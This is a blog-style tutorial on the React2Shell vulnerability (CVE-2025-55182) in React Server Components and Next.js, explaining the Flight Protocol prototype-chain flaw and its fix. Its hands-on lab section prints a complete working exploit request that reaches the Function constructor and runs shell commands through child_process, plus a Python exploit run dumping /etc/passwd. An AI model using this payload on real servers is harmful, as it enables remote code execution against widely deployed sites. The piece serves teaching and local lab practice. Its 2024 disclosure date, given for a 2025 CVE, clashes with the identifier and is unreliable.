Understanding CVE-2025–55182 in plain English
I still remember December 3rd, 2024. I was scrolling through Twitter when I saw it - React had just disclosed a critical vulnerability. CVSS 10.0. The maximum severity score possible.
Within hours, security researchers confirmed it: a single HTTP request could give attackers complete control over millions of websites.
This is the story of CVE-2025–55182, also known as React2Shell.
The 3-Second Version
Imagine your house has a security system. When someone knocks, the system should check their ID before opening the door.
React Server Components forgot to check IDs.
An attacker could knock in a specific way, and the door would just… open. Full access to everything inside.
Who's Affected?
Research shows 39% of all cloud environments have vulnerable React instances running right now.
React 19.0–19.2.0
Next.js 15.x or 16.0–16.6
Understanding React Server Components (RSC)
Before we dive into the vulnerability, you need to understand what React Server Components actually are.
React 19 introduced a game-changer: split your code between server and browser.
Server Components (new) run on your server - can access databases, faster loading.
Client Components (traditional) run in the browser - handle clicks, forms, interactions.
The benefit? Websites load 50–70% faster. The problem? They need to talk to each other using something called the Flight Protocol.
The Flight Protocol: The Missing Piece
Here's where it gets interesting.
When your browser needs data from a Server Component, it can't just ask nicely. They speak different languages. That's where the Flight Protocol comes in.
What is the Flight Protocol?
Think of it as a specialized delivery system. It packages data into "chunks" and sends them between server and client.
Browser: "Hey server, I need user data"
Server: "Here you go, packaged in Flight format"
Chunk 0: {"user": {"name": "John", "id": 123}}
Chunk 1: {"comment": "Great post!", "author": "$0"}
↑
"$0" means "reference the data in Chunk 0"
The $ symbol is special-it tells React "go look up this reference in another chunk."
This is super efficient… but also dangerous.
How the Exploit Works
Let me break down the entire attack chain in a way anyone can understand.
The Core Concept: JavaScript's Hidden Inheritance
Every object in JavaScript has a hidden connection to a "parent object" that gives it extra abilities. Think of it like this:
- Your car has features you added (custom seats, sound system)
- But it also inherits features from the factory (engine, wheels, steering)
- And those features inherit from even more basic blueprints (metal, rubber, glass)
In JavaScript, if you keep following this inheritance chain upward, you eventually reach something called the Function Constructor - a powerful tool that can create and execute any code from plain text.
Normally, applications can't reach this. It's locked away for safety.
But React Server Components forgot to lock the door.
The Vulnerability: A Missing Security Check
When React processes Flight Protocol data, it needs to look up references like $1:propertyName. The vulnerable code did this:
// What React did (VULNERABLE)
function getProperty(object, propertyName) {
return object[propertyName]; // Just grab it, no questions asked
}
The problem? This doesn't check if the property actually belongs to that object. It will happily reach into the inheritance chain and grab proto, constructor, or anything else.
The fix was simple:
// What React should have done (SECURE)
function getProperty(object, propertyName) {
if (object.hasOwnProperty(propertyName)) { // Verify it's a direct property
return object[propertyName];
}
return undefined; // Reject suspicious access
}
That one missing hasOwnProperty() check opened the door to complete system compromise.
Try It Yourself: Hands-On Lab
⚠️ Legal Disclaimer: Only test on systems you own. Unauthorized testing is illegal. This lab is for educational purposes only.
What You'll Need
- Docker installed on your machine
- Burp Suite (Community Edition is fine)
- Basic command line knowledge
- 10 minutes of your time
Lab Setup
Step 1: Clone the Repository
git clone https://github.com/dhananjayakumarn/CVE-2025-55182-Lab
cd CVE-2025-55182-Lab
Step 2: Start the Vulnerable Application
sudo docker-compose up -d
Wait about 20 seconds for the application to start.
Step 3: Verify It's Running
Open your browser and go to http://localhost:3000
You should see "TechBlog Pro"
Method 1: Exploitation with Burp Suite
- Step 1: Configure Burp Suite**
- Open Burp Suite
- Go to Proxy → Intercept
- Set your browser to use Burp proxy (127.0.0.1:8080)
- Turn intercept ON
Step 2: Capture a Request
Visit http://localhost:3000 in your browser and click anywhere on the page. Burp will intercept the request.
Step 3: Send to Repeater
- Right-click the request → Send to Repeater
- Go to Repeater tab
Step 4: Craft the Exploit
Replace the entire request with this:
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 787
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('head -n 3 /etc/passwd',{'timeout':5000}).toString().trim();throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
Step 5: Send the Exploit
Click "Send" in Burp Suite.
BOOM! We have successfully exploited…
Method 2: Exploitation with Python Script
For those who prefer automation, I've included a ready-to-use exploit script.
Step 1: Run the Exploit
python3 exploit.py "whoami"
Step 2: See the Results
┌──(kali㉿kali)-[~/Desktop/cve-2025–55182-lab]
└─$ python3 exploit.py http://127.0.0.1:3000 'cat /etc/passwd'
[*] CVE-2025–55182 RCE Exploit (Burp Method)
[*] Target: http://127.0.0.1:3000/
[*] Command: cat /etc/passwd
[*] Sending exploit…
[*] Status: 500
============================================================
✓✓✓ EXPLOITATION SUCCESSFUL! ✓✓✓
============================================================
Command: cat /etc/passwd
Output:
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
node:x:1000:1000::/home/node:/bin/sh
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Thanks for reading! I hope this helped you understand CVE-2025–55182. If you have questions, suggestions, or just want to discuss security stuff, feel free to reach out. I'm always happy to connect with fellow security enthusiasts.
Got feedback? Found something unclear? Spotted an error? DM me - I'd love to hear from you.
⚠️Responsible Disclosure
This research is for educational purposes only. The lab environment is isolated and safe for learning.






Top comments (0)